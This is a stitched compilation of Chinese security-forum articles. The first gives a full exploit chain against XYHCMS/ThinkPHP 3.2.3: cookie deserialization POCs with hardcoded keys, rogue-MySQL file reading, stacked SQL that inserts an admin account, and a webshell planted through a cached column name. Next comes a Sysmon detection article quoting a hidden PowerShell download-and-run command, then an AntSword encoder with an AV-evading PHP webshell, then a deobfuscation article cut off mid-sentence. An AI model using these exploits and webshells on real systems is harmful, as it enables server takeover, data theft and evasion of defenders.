$value是COOKIE中参数为$name对应的值，用SysCrypt类的php_decrypt方法解密，解密之后是一个序列化字符串，可以被反序列化。
但这个反序列化的前提是知道key，如果被取消注释了，那么key为【@^%$y5fbl】，如果默认没改，就是CFG_COOKIE_ENCODE。而CFG_COOKIE_ENCODE这个值创建网站时会被随机分配一个，且可以在后台改。
且在/App/Runtime/Data/config/site.php中被泄露。
总结一下就是cookie传值，site.php泄露key，这个值先被php_decrypt解密，再进行反序列化，和shiro相似。
那么找到了反序列化入口，而且是极易利用的COOKIE里面。但管理员登录后COOKIE中并没有加密字符串，搜一下get_cookie(，发现是前台注册会员用的。
前台随便注册一个会员，在COOKIE中发现加密字符串，里面任意一个都可以作为序列化入口。
比如nickname=XSIEblowDDRXIVJxBTcHPg5hAWsDbVVoACdcPg%3D%3D就是前台账户sonomon的序列化并加密。这里用接口试一下就明白了。
PS：后面发现使用uid更加通用。
/xyhcms/index.php?s=/Public/loginChk.html
这里将get_cookie，set_cookie，SysCrypt相关的代码抄一下并修改好，写处php加解密工具。
<?php
class SysCrypt {
private $crypt_key;
public function __construct($crypt_key) {
$this -> crypt_key = $crypt_key;
}
public function php_encrypt($txt) {
srand((double)microtime() * 1000000);
$encrypt_key = md5(rand(0,32000));
$ctr = 0;
$tmp = '';
for($i = 0;$i<strlen($txt);$i++) {
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $encrypt_key[$ctr].($txt[$i]^$encrypt_key[$ctr++]);
}
return base64_encode(self::__key($tmp,$this -> crypt_key));
}
public function php_decrypt($txt) {
$txt = self::__key(base64_decode($txt),$this -> crypt_key);
$tmp = '';
for($i = 0;$i < strlen($txt); $i++) {
$md5 = $txt[$i];
$tmp .= $txt[++$i] ^ $md5;
}
return $tmp;
}
private function __key($txt,$encrypt_key) {
$encrypt_key = md5($encrypt_key);
$ctr = 0;
$tmp = '';
for($i = 0; $i < strlen($txt); $i++) {
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
}
return $tmp;
}
public function __destruct() {
$this -> crypt_key = null;
}
}
function get_cookie($name, $key = '') {
$key = 'YzYdQmSE2';
$key = md5($key);
$sc = new SysCrypt($key);
$value = $sc->php_decrypt($name);
return unserialize($value);
}
function set_cookie($args, $key = '') {
$key = 'YzYdQmSE2';
$value = serialize($args);
$key = md5($key);
$sc = new SysCrypt($key);
$value = $sc->php_encrypt($value);
return $value;
}
$a = set_cookie('luoke','');
echo $a.'<br>';
echo get_cookie($a,'');
得到加密序列化字符串
放到cookie里试一下
完美，接下来就是需要找到反序列化链，我们先随便找个__destruct(修改源码，加个var_dump(1)，看能否触发。
/Include/Library/Think/Image/Driver/Imagick.class.php
public function __destruct() {
var_dump(1);
empty($this->img) || $this->img->destroy();
}
写好POC
<?php
namespace Think\Image\Driver;
class Imagick{
}
namespace Common\Lib;
class SysCrypt {
private $crypt_key;
public function __construct($crypt_key) {
$this -> crypt_key = $crypt_key;
}
public function php_encrypt($txt) {
srand((double)microtime() * 1000000);
$encrypt_key = md5(rand(0,32000));
$ctr = 0;
$tmp = '';
for($i = 0;$i<strlen($txt);$i++) {
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $encrypt_key[$ctr].($txt[$i]^$encrypt_key[$ctr++]);
}
return base64_encode(self::__key($tmp,$this -> crypt_key));
}
public function php_decrypt($txt) {
$txt = self::__key(base64_decode($txt),$this -> crypt_key);
$tmp = '';
for($i = 0;$i < strlen($txt); $i++) {
$md5 = $txt[$i];
$tmp .= $txt[++$i] ^ $md5;
}
return $tmp;
}
private function __key($txt,$encrypt_key) {
$encrypt_key = md5($encrypt_key);
$ctr = 0;
$tmp = '';
for($i = 0; $i < strlen($txt); $i++) {
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
}
return $tmp;
}
public function __destruct() {
$this -> crypt_key = null;
}
}
function get_cookie($name, $key = '') {
$key = 'YzYdQmSE2';
$key = md5($key);
$sc = new \Common\Lib\SysCrypt($key);
$value = $sc->php_decrypt($name);
return unserialize($value);
}
function set_cookie($args, $key = '') {
$key = 'YzYdQmSE2';
$value = serialize($args);
$key = md5($key);
$sc = new \Common\Lib\SysCrypt($key);
$value = $sc->php_encrypt($value);
return $value;
}
$b = new \Think\Image\Driver\Imagick();
$a = set_cookie($b,'');
echo str_replace('+','%2B',$a);
如上图，成功以反序列化方式触发
**destruct()，后续测试发现也不需要登录。那么万事具备，只差反序列化链，但是众所周知thinkphp5.x都已被审计出反序列化链，thinkphp3.2.3却并不存在反序列化链，9月份时我问某个群里，也都说的没有。
我自己的找链思路如下，全局找**destruct()就只有一个靠谱的。
/Include/Library/Think/Image/Driver/Imagick.class.php
public function __destruct() {
empty($this->img) || $this->img->destroy();
}
$this->img可控，也就是说可以触发任意类的destroy方法，或者触发 **call方法。**
call没有任何靠谱的，反倒是destroy()两个都比较靠谱。
/Include/Library/Think/Session/Driver/Db.class.php
/Include/Library/Think/Session/Driver/Memcache.class.php
Db.class看起来可以SQL注入，而Memcache.class看起来可以执行任意类的delete方法。但两者的destroy方法都有个问题，必须要传入一个$sessID参数，而Imagick.class的destroy并不能传参。所以在这儿就断掉了。
当时我在php7环境中测试，这个东西卡死我了，后来有人找出了thinkphp3.2.3的反序列化链，我才明白原来换php5就行了。直骂自己菜，对php版本特性知道的太少了，否则我可能早就审计出thinkphp3.2.3的反序列化链了。
<https://mp.weixin.qq.com/s/S3Un1EM-cftFXr8hxG4qfA>
<?php
function a($test){
echo 'print '.$test;
phpinfo();
}
a();
这样的代码在php7中无法执行，在php5中虽然会报错，但依旧会执行。
将环境切换到php5， Db.class由于没有mysql_connect()建立连接，所以无法执行SQL。
public function destroy($sessID) {
$hander = is_array($this->hander)?$this->hander[0]:$this->hander;
mysql_query("DELETE FROM ".$this->sessionTable." WHERE session_id = '$sessID'",$hander);
if(mysql_affected_rows($hander))
return true;
return false;
}
只能Memcache.class
public function destroy($sessID) {
return $this->handle->delete($this->sessionName.$sessID);
}
$this->handle和$this->sessionName均可控，此时等于可执行任意类的delete方法。
此时找delete方法，发现都跟数据库有关，且必须传输数组，由于$this->sessionName.$sessID必定是个字符串，所以得找一个能转数组的。
/Include/Library/Think/Model.class.php
public function delete($options = array()) {
$pk = $this->getPk();
if (empty($options) && empty($this->options['where'])) {
if (!empty($this->data) && isset($this->data[$pk])) {
return $this->delete($this->data[$pk]);
} else {
return false;
}
getPk()代码简短，直接返回$this->pk。
public function getPk() {
return $this->pk;
}
那么$pk，$this->options，$this->data均可控，此时又调用了delete()自己一次，所以等于可以带参数使用delete方法了。
后面一系列参数都不影响代码执行，最终来到
$result = $this->db->delete($options);
等于利用Model.class作为跳板，可以带参数执行任意类的delete方法。
/Include/Library/Think/Db/Driver.class.php
public function delete($options=array()) {
$this->model = $options['model'];
$this->parseBind(!empty($options['bind'])?$options['bind']:array());
$table = $this->parseTable($options['table']);
$sql = 'DELETE FROM '.$table;
if(strpos($table,',')){
if(!empty($options['using'])){
$sql .= ' USING '.$this->parseTable($options['using']).' ';
}
$sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
}
$sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
if(!strpos($table,',')){
$sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'')
.$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
}
$sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:'');
return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
}
此处在拼接$options数组中的SQL语句，最终放在$this->execute方法中执行。
public function execute($str,$fetchSql=false) {
$this->initConnect(true);
if ( !$this->_linkID ) return false;
$this->queryStr = $str;
if(!empty($this->bind)){
$that = $this;
$this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return '_cf4 .$that->escapeString($val).'_cf5 ; },$this->bind));
}
if($fetchSql){
return $this->queryStr;
}
跟进$this->initConnect()
protected function initConnect($master=true) {
if(!empty($this->config['deploy']))
$this->_linkID = $this->multiConnect($master);
else
if ( !$this->_linkID ) $this->_linkID = $this->connect();
}
跟进$this->connect()
public function connect($config='',$linkNum=0,$autoConnection=false) {
if ( !isset($this->linkID[$linkNum]) ) {
if(empty($config)) $config = $this->config;
try{
if(empty($config['dsn'])) {
$config['dsn'] = $this->parseDsn($config);
}
if(version_compare(PHP_VERSION,'5.3.6','<=')){
$this->options[PDO::ATTR_EMULATE_PREPARES] = false;
}
$this->linkID[$linkNum] = new PDO( $config['dsn'], $config['username'], $config['password'],$this->options);
}catch ($e) {
if($autoConnection){
trace($e->getMessage(),'','ERR');
return $this->connect($autoConnection,$linkNum);
}else{
E($e->getMessage());
}
}
}
return $this->linkID[$linkNum];
}
可以发现最终是以PDO建立数据库连接，$config 也就是$this->config可控，等于我们可以连接任意数据库，然后执行SQL语句。
可以参考<https://mp.weixin.qq.com/s/S3Un1EM-cftFXr8hxG4qfA写出POC。>
<?php
namespace Think\Db\Driver;
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true
);
protected $config = array(
"dsn" => "mysql:host=localhost;dbname=xyhcms;port=3306",
"username" => "root",
"password" => "root"
);
}
namespace Think;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;
public function __construct(){
$this->db = new \Think\Db\Driver\Mysql();
$this->options['where'] = '';
$this->pk = 'luoke';
$this->data[$this->pk] = array(
"table" => "xyh_admin_log",
"where" => "id=0"
);
}
}
namespace Think\Session\Driver;
class Memcache{
protected $handle;
public function __construct() {
$this->handle = new \Think\Model();
}
}
namespace Think\Image\Driver;
class Imagick{
private $img;
public function __construct() {
$this->img = new \Think\Session\Driver\Memcache();
}
}
namespace Common\Lib;
class SysCrypt{
private $crypt_key;
public function __construct($crypt_key) {
$this -> crypt_key = $crypt_key;
}
public function php_encrypt($txt) {
srand((double)microtime() * 1000000);
$encrypt_key = md5(rand(0,32000));
$ctr = 0;
$tmp = '';
for($i = 0;$i<strlen($txt);$i++) {
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $encrypt_key[$ctr].($txt[$i]^$encrypt_key[$ctr++]);
}
return base64_encode(self::__key($tmp,$this -> crypt_key));
}
public function php_decrypt($txt) {
$txt = self::__key(base64_decode($txt),$this -> crypt_key);
$tmp = '';
for($i = 0;$i < strlen($txt); $i++) {
$md5 = $txt[$i];
$tmp .= $txt[++$i] ^ $md5;
}
return $tmp;
}
private function __key($txt,$encrypt_key) {
$encrypt_key = md5($encrypt_key);
$ctr = 0;
$tmp = '';
for($i = 0; $i < strlen($txt); $i++) {
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
}
return $tmp;
}
public function __destruct() {
$this -> crypt_key = null;
}
}
function get_cookie($name, $key = '') {
$key = '7q6Gw97sh';
$key = md5($key);
$sc = new \Common\Lib\SysCrypt($key);
$value = $sc->php_decrypt($name);
return unserialize($value);
}
function set_cookie($args, $key = '') {
$key = '7q6Gw97sh';
$value = serialize($args);
$key = md5($key);
$sc = new \Common\Lib\SysCrypt($key);
$value = $sc->php_encrypt($value);
return $value;
}
$b = new \Think\Image\Driver\Imagick();
$a = set_cookie($b,'');
echo str_replace('+','%2B',$a);
成功执行SQL语句，但很显然，这几乎是无危害的，因为你得知道别人数据库账户密码，或者填自己服务器的账户密码。文章中提到了利用恶意mysql服务器读取文件。
<https://github.com/Gifts/Rogue-MySql-Server>
文件读取需要绝对路径，可以猜测，也可以访问如下文件，php报错可能会爆出。
/App/Api/Conf/config.php
/App/Api/Controller/ApiCommonController.class.php
/App/Common/LibTag/Other.class.php
/App/Common/Model/ArcViewModel.class.php
得到绝对路径后，修改python脚本增加filelist为D:\xampp\htdocs\xyhcms\App\Common\Conf\db.php，修改POC数据库连接地址，成功读取配置文件。
读取到了本地的数据库之后，POC更换数据库地址，PDO默认支持堆叠，所以可以直接操作数据库。这里简单一点可以新增一个管理员上去。
"where" => "id=0;insert into xyhcms.xyh_admin (id,username,password,encrypt,user_type,is_lock,login_num) VALUES (222,'test','88bf2f72156e8e2accc2215f7a982a83','sggFkZ',9,0,4);"
/xyhai.php?s=/Login/index
test/123456登录
如果需要注数据，可以尝试把数据插在一些无关紧要的地方，比如留言板。
"where" => "id=0; update xyhcms.xyh_guestbook set content=user() where id=1;"
/index.php?s=/Guestbook/index.html
同理，权限足够也可以直接利用outfile或者general_log来getshell。
如果权限不够怎么办呢？使用序列化数据存储为php文件实在非常危险，翻翻缓存文件夹。发现数据库列的信息也以序列化形式存储在php文件当中。
/App/Runtime/Data/_fields/xyhcms.xyh_guestbook.php
此时我们需要清理一下缓存
然后反序列化操纵mysql新增一个无关紧要的列名为<script language="php">phpinfo();</script>
PS：这里不能用问号，暂时不清楚原因。
"where" => "id=0; alter table xyh_guestbook add column `<script language='php'>phpinfo();</script>` varchar(10);"
最后再访问一下前台的留言板，或者后台的留言本管理，生成缓存文件。
/index.php?s=/Guestbook/index.html
最终getshell
/App/Runtime/Data/_fields/xyhcms.xyh_guestbook.php
总结一下
1，要求php5.x版本
2，/App/Runtime/Data/config/site.php泄露CFG_COOKIE_ENCODE
3，制作POC，获得反序列化payload
4，最好开放会员注册，检查/index.php?s=/Home/Public/login.html
然后向/index.php?s=/Public/loginChk.html，/index.php?s=/Home/Member/index.html等需要cookie的接口传递paylaod。Cookie键值为uid，nickname等。
5，访问一些php文件，通过报错获取绝对路径。
6，通过恶意mysql服务器，读取配置文件，获取数据库信息。
7，操作数据库。
8，getshell
这是一个非常冗长而有意思的漏洞利用链。
已上交CNVD-2021-05552。 | 社区文章 |
# 【技术分享】Sysmon在威胁检测中的应用：检测启用宏的Word文档
|
##### 译文声明
本文是翻译文章，文章来源：syspanda.com
原文地址：<http://syspanda.com/index.php/2017/10/10/threat-hunting-sysmon-word-document-macro/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：170RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**一、前言**
**Sysmon** 是一款非常有用的工具，可以帮助我们了解系统中正在运行的程序以及端点正发生的变化。
因此，我们可以在日常应急响应事件中运用Sysmon，比如，当用户点击带有链接或附件的电子邮件，并打开启用 **宏**
的Word文档时，正是该工具发挥作用的场景。
**
**
**二、事件源：Email**
在本文所举的例子中，用户会收到各种形式的电子邮件，其中可能包含链接或者某个附件。
在这些场景中，当用户执行如下操作时，我们可以使用sysmon记录下用户采取的具体操作。我会在其中包含字段名称，以便在ELK环境中快速搜索相关的命令及进程。
在Sysmon的[事件](https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon)中，有如下几个编号与这类场景有关：
**Event ID 1：Process
creation。进程创建事件可以提供有关新创建进程的扩展信息。比如，我们能够知道进程执行上下文所用的完整命令，ProcessGUID是个唯一标识符，可以跨域标识某个进程，使事件关联处理更加方便，哈希字段为文件的完整哈希，所用的哈希算法如HashType字段所示。**
**Event ID
11：FileCreate。当文件被创建或被覆盖时，就会记录下文件创建操作。该事件对监控自启动位置而言非常有用，如启动目录（Startup）、临时目录、下载目录等等，这些目录是恶意软件在初始感染阶段经常用到的目录。**
**Event ID
15：FileCreateStreamHash。当创建命名文件流时就会生成该事件，事件日志中会记录下文件流所对应的文件内容的哈希值以及命名文件流的内容。有些恶意软件变种会通过浏览器下载方式释放可执行文件或配置文件，这种事件的目标就是捕获基于浏览器的被打上MOTW（mark
of the web）区域标识符的数据流。**
**
**
**三、具体操作**
现在开始分析具体的操作。
**3.1 点击钓鱼邮件链接**
相关字段如下：
EventID: 1
event_data.ParentCommandLine: “C:Program Files (x86)Microsoft OfficeOffice14OUTLOOK.EXE”
event_data.Image: C:Program FilesInternet Exploreriexplore.exe
event_data.CommandLine: “C:Program FilesInternet Exploreriexplore.exe” https://Dcompany.life_qliwiwkwstxrkgbbz_bdfnccd&d=DwMF-Q&c=LQ_lgKiodJdZA
event_data.User: PhishedUser
该事件代表的含义是，PhishedUser用户在outlook中点击了某个链接，启动了IE浏览器，打开了https://company.life_q…..com这个网址。
**3.2 下载Word文档**
相关字段如下：
EventID: 11
event_data.Image: C:Program Files (x86)Internet ExplorerIEXPLORE.EXE
event_data.TargetFilename: C:UsersPhisedUserAppDataLocalMicrosoftWindowsTemporary Internet FilesContent.IE5POHSQH126E713D2A.doc
该事件代表的含义是，IE浏览器下载了一个名为6E713D2A.doc的文件。
注意：某些事件中可能会记录下.tmp文件，这是因为当记录该事件时，这个文件还没有下载完毕。
**3.3 打开Word文档**
相关字段如下：
EventID: 1
event_data.Image: C:Program Files (x86)Microsoft OfficeOffice14WINWORD.EXE
event_data.TargetFilename: C:UsersPhisedUserAppDataLocalMicrosoftWindowsTemporary Internet FilesContent.IE5POHSQH126E713D2A.doc
该事件代表的含义是，用户使用Word打开了6E713D2A.doc文档。
**3.4 启用宏的Word文档**
相关字段如下：
EventID: 1
event_data.ParentImage: C:Program Files (x86)Microsoft OfficeOffice14WINWORD.EXE
event_data.ParentCommandLine: “C:Program Files (x86)Microsoft OfficeOffice14WINWORD.EXE” -Embedding
event_data.Image: C:WindowsSysWOW64WindowsPowerShellv1.0powershell.exe
event_data.CommandLine: powershell -WindowStyle Hidden $webclient = new-object System.Net.WebClient;$myurls = ‘http://Malicioussite.su/z3FRJz’.Split(‘,’);$path = $env:temp + ‘65536.exe’;foreach($myurl in $myurls){try{$webclient.DownloadFile($myurl.ToString(), $path);Start-Process $path;break;}catch{}}
event_data.User: PhisedUser
该事件代表的含义是，用户启用了该文档所附加的宏，运行了一条powershell命令，尝试从http://Malicioussite.su/z3FRJz处下载一个名为65536.exe的可执行文件。
**3.5 通过Powershell下载载荷**
相关字段如下：
event_id: 11
event_data.Image: C:WindowsSysWOW64WindowsPowerShellv1.0powershell.exe
event_data.TargetFilename: C:UsersPhisedUserAppDataLocalTemp65536.exe
该事件代表的含义是，Powershell下载了65536.exe文件，并将其保存到C:UsersPhisedUserAppDataLocalTemp目录中。
随后，可执行文件可能会执行多种操作，比如加密用户的文件、建立某种持久化机制等。此时，如果你希望了解恶意软件在端点上所执行的其他具体操作，你可以参考这些资料了解更多信息：[如何梳理未经授权的软件](http://syspanda.com/index.php/2017/08/25/critical-control-2/)、[如何检测出站连接](http://syspanda.com/index.php/2017/07/13/sysmon-detecting-outbound-connections-geoip-logstash/)。
我们已经了解到这些事件的记录方式，现在我们可以进一步简化这类操作的查找过程。
**
**
**四、检测相关操作**
如果你部署了优秀的日志管理方案（如ELK、Splunk等），你就可以设置预定义的已保存的搜索过滤条件，可以帮你在实际环境中寻找目标对象。比如，你可以使用如下查询语句，查找通过Word或微软其他产品启动的特定进程（如cscript.exe、cmd.exe、powershell.exe、wscript.exe）。
event_data.ParentImage: office AND (event_data.Image: (wscript.exe OR cscript.exe OR cmd.exe or powershell.exe))
查询结果如下：
此外，微软产品（Word、Excel、PowerPoint等）还可以调用其他可执行程序，如下所示：
**rundll.32.exe。通常你会观察到编号为1的事件，该事件与文档打印（File->Print）或者outlook中的文件索引有关（“C:WindowsSystem32rundll32.exe”
shell32.dll,Control_RunDLL “srchadmin.dll”）。**
**conhost.exe**
**regsvr32.exe**
**explorer.exe**
此外，还有一些查询语句非常有用，可以查找在outlook中使用word打开的“.doc”文档。
比如，查找Sysmon Event ID 1相关事件：
event_data.ParentImage: outlook.exe AND event_data.CommandLine: “.doc”
以及，查找Sysmon Event ID 15相关事件：
event_data.Image: outlook.exe AND event_data.TargetFilename: “.doc”
请确保你已经仔细检查过实际环境中的所有元素，识别正常以及不正常的应用程序行为，修改查询语句，以精确区分所有预期的以及意外的行为。
**
**
**五、如何防护此类宏**
我们无法阻止用户从互联网上接收.doc文档。这里我给出了一些方法，可以保护你的组织免受通过Word宏文档传播的恶意软件的威胁：
1、组织用户进行安全意识培训。在面对任何安全风险或威胁时，这应该是首要选项。你需要教会用户保持谨慎的态度，在点击鼠标之前三思而后行。
2、[通过GPO阻止宏运行（Office 2016）](http://www.thewindowsclub.com/block-macro-malware-microsoft-office)。对于Office 2013，你可以[修改Office选项](https://support.office.com/en-us/article/Enable-or-disable-macros-in-Office-files-12b036fd-d140-4e74-b45e-16fed1a7e5c6)，设置为“禁用所有宏，并发出通知”或者“禁用所有宏，并不发出通知”。
3、阻止载荷下载。通过应用层防火墙，你可以阻止.exe程序下载文件，只允许从白名单可信站点下载（如updates.microsoft、Oracle、Dell等）。
最后，还有几个要点：
**请监控所有端点日志。**
**采用积极主动的防御措施。根据历史攻击记录创建通知事件，以便感知任何活跃的安全事件。**
**继续培训用户！！！**
在下一篇文章中，我会介绍如何根据编号为15的Sysmon事件查找用户通过常见浏览器下载文件的行为。 | 社区文章 |
## 前言
在上一篇[蚁剑实现动态秘钥编码器解码器](https://yzddmr6.tk/posts/antsword-xor-encoder/)中，本人为了规避握手交换秘钥的特征，采用了利用时间生成随机秘钥的办法。
但是在实际使用的过程中还是会出现各种各样的玄学BUG，导致利用失败，我个人不是特别满意。
研究了一下蚁剑编码器的ext参数后，决定采用利用随机Cookie来产生随机秘钥的方式。
## 正文
### 编码器的ext参数
本来等蚁剑作者编码器的第三篇，结果一直没等到。。。
算了还是自己研究一下吧
首先新建一个编码器，名字叫test吧
加入一行`console.log(ext.opts.httpConf);`
然后随便连接一个shell，打开开发者工具，可以看到已经打印出了我们所需要的信息
包括shell请求的body跟headers头
抓包看一下，headers头的结果跟抓包的结果是一致的
那么我们能否从编码器中修改headers头呢
我们在编码器中加入一行
ext.opts.httpConf.headers['User-Agent']='yzddMr6';
可以看到我们已经成功修改了shell中UA的值。
同理，我们也可以在编码器中对其他header头或者body进行修改。
### 随机生成Cookie
既然我们已经可以任意修改shell的请求信息，我们就可以把秘钥放在一个指定的headers字段里，shell获取后再对payload进行加解密。
但是突然多出来一个奇奇怪怪的字段，长时间后就会变成waf识别的特征。
那么有没有什么是变化的，并且很常见的headers头呢？
我们就可以想到利用Cookie。
参考蚁剑的aes编码器，它所采用的方法是人工首先访问shell生成一个sessionid，填入shell配置后作为后面通讯的秘钥。
但是实际上因为我们已经可以控制cookie字段，我们完全可以在编码器中每次生成一个随机的cookie，这样就省去了人工操作的一步。
有一个坑要注意，php的session id一般是26位的，所以我们最好也生成一个26位的秘钥，增强伪装性。（虽然可能并没有什么卵用）
### 具体实现
#### 编码器
'use strict';
//code by yzddmr6
module.exports = (pwd, data, ext = {}) => {
let randomID = `x${Math.random().toString(16).substr(2)}`;
function xor(payload) {
let crypto = require('crypto');
let key = crypto.createHash('md5').update(randomID).digest('hex').substr(6);
ext.opts.httpConf.headers['Cookie'] = 'PHPSESSID=' + key;
key = key.split("").map(t => t.charCodeAt(0));
//let payload="phpinfo();";
let cipher = payload.split("").map(t => t.charCodeAt(0));
for (let i = 0; i < cipher.length; i++) {
cipher[i] = cipher[i] ^ key[i % 26]
}
cipher = cipher.map(t => String.fromCharCode(t)).join("")
cipher = Buffer.from(cipher).toString('base64');
//console.log(cipher)
return cipher;
}
data['_'] = Buffer.from(data['_']).toString('base64');
data[pwd] = `eval(base64_decode("${data['_']}"));`;
data[pwd]=xor(data[pwd]);
delete data['_'];
return data;
}
#### Shell原型
<?php
@$post=base64_decode($_REQUEST['test']);
$key=@$_COOKIE['PHPSESSID'];
for($i=0;$i<strlen($post);$i++){
$post[$i] = $post[$i] ^ $key[$i%26];
}
@eval($post);
?>
#### 免杀处理
<?php
class Cookie
{
function __construct()
{
$key=@$_COOKIE['PHPSESSID'];
@$post=base64_decode($_REQUEST['test']);
for($i=0;$i<strlen($post);$i++){
$post[$i] = $post[$i] ^ $key[$i%26];
}
return $post;
}
function __destruct()
{return @eval($this->__construct());}
}
$check=new Cookie();
?>
### 连接测试
## 最后
还是老问题，蚁剑的其他参数只是一层base64，这个就需要大家自己手工去改了。 | 社区文章 |
## 前言
本文原文来自[Hex-Rays Microcode API vs. Obfuscating
Compiler](http://www.hexblog.com/?p=1248 "Hex-Rays Microcode API vs.
Obfuscating Compiler")。在IDA 7.1中IDA发布了反编译中使用的中间语言microcode，IDA
7.2和7.3中又新增了相关的C++和python API，这篇文章就是关于Rolf
Rolles如何使用这一新功能来处理ollvm混淆的，代码地址：[HexRaysDeob](https://github.com/RolfRolles/HexRaysDeob
"HexRaysDeob")。我翻译过程中为了方便理解加入了一些数据结构说明和相关代码对照，并不与原文完全相同。文章较长，分为上下两个部分。
## microcode和ctree
IDA反编译器中二进制代码有两种表示方式：
microcode：处理器指令被翻译成microcode，反编译器对其进行优化和转换。
使用[HexRaysDeob](https://github.com/RolfRolles/HexRaysDeob
"HexRaysDeob")插件除了处理ollvm混淆也可以查看microcode。
ctree：由优化的microcode构建而成，用C语句和表达式表示像AST一样的树。
使用[HexRaysCodeXplorer](https://github.com/REhints/HexRaysCodeXplorer
"HexRaysCodeXplorer")插件或者IDApython中的示例vds5.py可以查看ctree。
IDA反编译的整体流程如下所示。
这篇文章重点说microcode。
## microcode数据结构
microcode中四个比较重要的数据结构如下。
**mbl_array_t**
保存关于反编译代码和基本块数组的信息，比较重要的成员和函数如下。
int qty;
// 基本块数组的数量
const mblock_t *get_mblock(int n) const { return natural[n]; }
// 根据序号返回数组中对应的基本块
mblock_t *hexapi insert_block(int bblk);
// 插入一个基本块
bool hexapi remove_block(mblock_t *blk);
// 删除一个基本块
bool hexapi remove_empty_blocks(void);
// 删除所有空的基本块
bool hexapi combine_blocks(void);
// 合并线性的基本块
int hexapi for_all_ops(mop_visitor_t &mv);
// 遍历所有操作数(包括子指令的)
int hexapi for_all_insns(minsn_visitor_t &mv);
// 遍历所有指令(包括子指令)
int hexapi for_all_topinsns(minsn_visitor_t &mv);
// 遍历所有指令(不包括子指令)
**mblock_t**
一个包含指令列表的基本块，比较重要的成员和函数如下。
mblock_t *nextb;
// 双向链表中的下一个基本块
mblock_t *prevb;
// 双向链表中的上一个基本块
minsn_t *head;
// 指向基本块中的第一条指令
minsn_t *tail;
// 指向基本块中的最后一条指令
mbl_array_t *mba;
// 所属的mbl_array_t
int npred(void) const { return predset.size(); }
// 该块的前驱者数目
int nsucc(void) const { return succset.size(); }
// 该块的后继者数目
int pred(int n) const { return predset[n]; }
// 该块的第n个前驱者
int succ(int n) const { return succset[n]; }
// 该块的第n个后继者
minsn_t *hexapi insert_into_block(minsn_t *nm, minsn_t *om);
// 向双向链表中插入指令
minsn_t *hexapi remove_from_block(minsn_t *m);
// 删除双向链表中的指令
int hexapi for_all_ops(mop_visitor_t &mv);
// 遍历所有操作数(包括子指令的)
int hexapi for_all_insns(minsn_visitor_t &mv);
// 遍历所有指令(包括子指令)
**minsn_t**
表示一条指令，比较重要的成员和函数如下。指令可以嵌套，也就是说mop_t也可能会包含一个minsn_t。
mcode_t opcode;
// 操作码
int iprops;
// 一些表示指令性质的位的组合
minsn_t *next;
// 双向链表中的下一条指令
minsn_t *prev;
// 双向链表中的上一条指令
ea_t ea;
// 指令地址
mop_t l;
// 左操作数
mop_t r;
// 右操作数
mop_t d;
// 目标操作数
int hexapi for_all_ops(mop_visitor_t &mv);
// 遍历所有操作数(包括子指令的)
int hexapi for_all_insns(minsn_visitor_t &mv);
// 遍历所有指令(包括子指令)
**mop_t**
表示一个操作数，根据它的类型可以表示不同的信息(数字，寄存器，堆栈变量等等)，比较重要的成员和函数如下。
mopt_t t;
// 操作数类型
uint8 oprops;
// 操作数属性
uint16 valnum;
// 操作数的值，0表示未知，操作数的值相同操作数也相同
int size;
// 操作数大小
//下面的联合体中包含有关操作数的其它信息，根据操作数类型，存储不同类型的信息
union
{
mreg_t r;
// mop_r 寄存器数值
mnumber_t *nnn;
// mop_n 立即数的值
minsn_t *d;
// mop_d 另一条指令
stkvar_ref_t *s;
// mop_S 堆栈变量
ea_t g;
// mop_v 全局变量
int b;
// mop_b 块编号(在jmp\call指令中使用)
mcallinfo_t *f;
// mop_f 函数调用信息
lvar_ref_t *l;
// mop_l 本地变量
mop_addr_t *a;
// mop_a 操作数地址(mop_l\mop_v\mop_S\mop_r)
char *helper;
// mop_h 辅助函数名
char *cstr;
// mop_str 字符串常量
mcases_t *c;
// mop_c switch的case和target
fnumber_t *fpc;
// mop_fn 浮点数常量
mop_pair_t *pair;
// mop_p 操作数对
scif_t *scif;
// mop_sc 分散的操作数信息
};
它们之间的关系由下图所示。简单来说就是操作数(mop_t)组成指令(minsn_t)，指令(minsn_t)组成基本块(mblock_t)，基本块(mblock_t)组成mbl_array_t。
当HexRays在内部优化和转换microcode时，它将经历不同的成熟阶段(maturity
phases)，该阶段由类型为mba_maturity_t的枚举元素表示。例如，刚刚生成的microcode成熟度为MMAT_GENERATED，经过了局部优化之后的microcode成熟度为MMAT_LOCOPT，经过了函数调用的分析之后microcode成熟度为MMAT_CALLS。通过gen_microcode()
API生成microcode时，用户可以指定需要优化microcode的成熟度级别。
## 使用IDA microcode去除ollvm混淆
### 样本中采用的混淆手段
样本来源：<https://www.virustotal.com/gui/file/0ac399bc541be9ecc4d294fa3545bbf7fac4b0a2d72bce20648abc7754b3df24/detection>
#### 基于模式的混淆
在该样本反编译的结果中可以看到相同的模式。
带下划线的部分在运行时始终为0，因为x是偶数或者奇数，并且x-1和x的奇偶性相反，偶数乘以奇数总是偶数，偶数的最低位为0，因此&1结果为0。这种模式还出现在带有AND复合条件的if语句中，AND复合条件结果总是为0，因此if语句永远不会执行。这是一种称为不透明谓词的混淆方式：条件分支运行时永远只会执行其中一条路径。
#### 控制流平坦化
被混淆的函数具有异常的控制流。每个被混淆的函数都包含一个循环中的switch语句，这是一种被称为控制流平坦化(control flow
